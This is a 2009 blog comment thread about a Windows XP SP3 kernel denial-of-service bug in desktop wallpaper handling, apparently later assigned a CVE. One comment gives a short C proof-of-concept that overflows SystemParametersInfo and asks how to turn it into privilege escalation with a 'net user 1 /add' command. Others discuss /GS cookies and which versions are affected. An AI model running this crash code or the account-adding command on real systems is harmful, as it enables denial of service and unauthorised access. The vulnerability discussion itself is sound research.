Comments on: Oh No, My XPSP3

By: Insanely Low-Level » Blog Archive » Cleaning Resources Automatically

Insanely Low-Level » Blog Archive » Cleaning Resources Automatically — Tue, 15 Sep 2009 03:20:15 +0000

[...] even learned that my post about the kernel DoS in XPSP3 about the desktop wallpaper weakness became a CVE. It seems MS has [...]

By: hacker_bug

hacker_bug — Tue, 30 Jun 2009 09:35:48 +0000

#include
int main()
{
const int SPI_GETDESKWALLPAPER = 115;
WCHAR c[1000] = {0};
memset(c, ‘c’, 1000);
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, (PVOID)c, 0);

WCHAR b[1000] = {0};
SystemParametersInfo(SPI_GETDESKWALLPAPER, 1000, (PVOID)b, 0);
return 0;
}

I don’t know how to add this sentence exploit it to Elevation of Privilege
system(“net user 1 /add”);

By: arkon

arkon — Mon, 02 Feb 2009 17:39:17 +0000

Code regression? Or maybe some changes in the profile/registry stuff.

By: Peter Ferrie

Peter Ferrie — Mon, 02 Feb 2009 17:16:42 +0000

Windows 2000 is not vulnerable. It fails the first call quietly, the second call succeeds, and the system keeps running normally.

By: mxatone

mxatone — Mon, 02 Feb 2009 15:23:31 +0000

Well yeah, just that on some citrix (or alike) configurations I doubt you can change the wallpaper but I’m not an expert on that field .

I didn’t look in W2K, there is a good chance that /GS cookie could be easier to defeat or not existing at all (it may depend of the service pack too).

By: arkon

arkon — Mon, 02 Feb 2009 14:38:15 +0000

That’s the reason I didn’t mind giving it here. If someone manages to exploit it, way to go, I didn’t even try though. I have more pressing matters on my mind

It works on Guest User, what can you ask more? Besides maybe on WY2k, you don’t have the /GS…

By: mxatone

mxatone — Mon, 02 Feb 2009 13:48:42 +0000

Hi,

I already looked at it some months ago and didn’t find a way to exploit this vulnerability properly. As far as I remember, there is not exception handler during this overflow and the /GS flag should be guessed in order to make it properly. It is quite uneasy to do but with some memory leaking vuln, it could be done (maybe). You may already notice that you need the SETDESKWALLPAPER right to do it properly too (even if almost anyone got it).

Have fun !